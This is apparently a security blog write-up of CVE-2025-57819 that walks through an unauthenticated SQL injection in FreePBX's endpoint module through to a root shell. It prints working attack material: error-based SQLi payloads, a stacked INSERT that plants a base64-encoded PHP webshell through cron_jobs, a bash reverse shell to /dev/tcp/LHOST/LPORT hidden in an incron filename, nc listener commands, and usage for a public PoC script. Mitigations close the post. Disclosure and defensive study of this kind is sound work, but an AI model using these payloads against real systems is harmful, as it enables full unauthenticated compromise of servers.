← back to blog
EN TR

CVE-2025-57819: FreePBX SQLi → RCE → Root

On this page

FreePBX | CVE-2025-57819 | SQLi → RCE → Root

Vulnerability: Unauthenticated SQL InjectionRemote Code ExecutionPrivilege Escalation (Root)

CVE: CVE-2025-57819


Introduction

This write-up covers CVE-2025-57819, a critical full-chain vulnerability discovered in FreePBX’s endpoint module. The attack chain begins with an unauthenticated SQL injection, escalates to remote code execution via a dropped PHP webshell, and ultimately achieves a root shell through incron privilege escalation.


1. Vulnerability Overview

FreePBX’s endpoint module passes the brand parameter from /admin/ajax.php directly into a SQL query without any sanitization or prepared statements. Since this parameter is user-controlled and publicly accessible, an unauthenticated attacker can leverage EXTRACTVALUE error-based SQL injection to read from the database — and more critically, INSERT arbitrary records into the cron_jobs table.

Affected Versions:

FreePBXPatched Version
15.x15.0.66
16.x16.0.89
17.x17.0.3

NVD CVE-2025-57819 Entry

Attack Chain:

SQLi (EXTRACTVALUE) → cron_jobs INSERT → PHP Webshell → incron Trigger → Root Shell

💡 Root Cause:
The brand parameter in /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&brand=<PAYLOAD> is concatenated directly into a SQL query. No input validation or prepared statements are used, making the attack possible without authentication.


2. SQL Injection Verification

The injection uses EXTRACTVALUE error-based technique. The server reflects SQL query output inside an XPath syntax error message:

Read Payload:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(<subquery>),0x7e))-- -

Example Request:

GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20AND%20EXTRACTVALUE(1%2CCONCAT(0x7e%2C(SELECT%201)%2C0x7e))--+-
Host: freepbx.example.com

Response:

{
  "error": {
    "message": "XPATH syntax error: '~1~'"
  }
}

The value between ~ delimiters is the SQL output. Using this technique, database information is extracted:

Database : asterisk
Version  : 10.x.x-MariaDB
DB User  : asterisk@localhost

3. Webshell Deployment via cron_jobs

Beyond reading data, INSERT statements can also be executed. A cron job is inserted into the cron_jobs table that runs every minute and writes a base64-encoded PHP webshell to the web root:

Write Payload:

x'; INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','poc-webshell','echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64 -d >/var/www/html/shell.php',NULL,'* * * * *',30,1,1)-- -

Webshell content (after base64 decode):

<?php system($_GET['cmd']); ?>

After approximately 60 seconds, the cron fires and webshell access is confirmed:

GET /shell.php?cmd=id
→ uid=1000(asterisk) gid=1000(asterisk) groups=1000(asterisk)

4. System Reconnaissance

Through the webshell, basic system information is gathered:

id      → uid=1000(asterisk)
hostname→ freepbx-server
kernel  → 5.x.x-generic
OS      → Ubuntu / CentOS
ip      → inet 10.x.x.x

5. Root Shell — incron Privilege Escalation

This step escalates from the asterisk user to root. FreePBX systems typically run incrond (inotify-based cron). Files written to /var/spool/asterisk/incron/ are processed by fwconsole hooks executing as root.

Payload Construction:

The reverse shell command is encoded as follows:

  1. Command + "txn" are placed into a JSON array: ["bash -i >& /dev/tcp/LHOST/LPORT 0>&1", "txn"]
  2. The JSON is zlib-compressed
  3. Encoded with base64, with / replaced by _

The resulting payload is used as a filename written via the webshell:

/var/spool/asterisk/incron/api.fwconsole-commands.<ENCODED_PAYLOAD>

incrond detects this file, decodes the payload, and executes the fwconsole hook as root:

nc -lvnp 9999

Root Shell Proof


6. PoC Script Usage

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Start a listener:

nc -lvnp 9999

Run the exploit:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

Tool Running

The script executes sequentially:

  1. Target reachability check
  2. SQLi verification and DB enumeration
  3. Cron job insertion + webshell polling (up to 90 seconds)
  4. System reconnaissance
  5. incron payload construction and root shell trigger
  6. (Optional) Webshell and cron job cleanup

With cleanup:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999 --cleanup

7. Conclusion and Mitigation

CVE-2025-57819 is a rare full-chain vulnerability that achieves complete root access without any authentication.

Recommended Mitigations:

  • Update FreePBX to a patched version: 15.0.66, 16.0.89, or 17.0.3
  • Disable the endpoint module if not needed
  • Restrict access to /admin/ajax.php by IP allowlist
  • Audit whether incrond is necessary and restrict write access to its spool directory

Final Thoughts

This vulnerability is a textbook example of why input sanitization is non-negotiable. A single parameter concatenated into a SQL query — without a prepared statement — leads to data exfiltration, remote code execution, and ultimately full root control.

GitHub: CVE-2025-57819-FreePBX-RCE2Root
Advisory: GHSA-m42g-xg4c-5f3h